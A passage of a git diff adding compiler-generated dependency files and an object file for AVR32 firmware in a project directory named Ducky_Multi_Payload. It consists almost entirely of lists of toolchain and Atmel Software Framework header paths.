5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/string.h \ + ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h ../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h ../src/asf/avr32/drivers/pm/pm.h + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/string.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ 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(x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/string.h: + +../src/asf/avr32/utils/compiler.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/utils/preprocessor/stringz.h: + +../src/asf/avr32/utils/preprocessor/mrepeat.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/parts.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h: + +c:\program\ files\ (x86)\atmel\avr\ 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(x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/asf/avr32/drivers/pm/pm.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/pm_conf_clocks.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/pm_conf_clocks.o new file mode 100644 index 0000000..b71bbfd Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/pm_conf_clocks.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/power_clocks_lib.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/power_clocks_lib.d new file mode 100644 index 0000000..0015fb4 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/drivers/pm/power_clocks_lib.d @@ -0,0 +1,160 @@ +src/asf/avr32/drivers/pm/power_clocks_lib.d \ + src/asf/avr32/drivers/pm/power_clocks_lib.o: \ + ../src/asf/avr32/drivers/pm/power_clocks_lib.c \ + ../src/asf/avr32/drivers/pm/power_clocks_lib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h \ + ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h ../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h ../src/asf/avr32/drivers/pm/pm.h + +../src/asf/avr32/drivers/pm/power_clocks_lib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 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studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +../src/asf/avr32/utils/compiler.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/utils/preprocessor/stringz.h: + +../src/asf/avr32/utils/preprocessor/mrepeat.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/parts.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 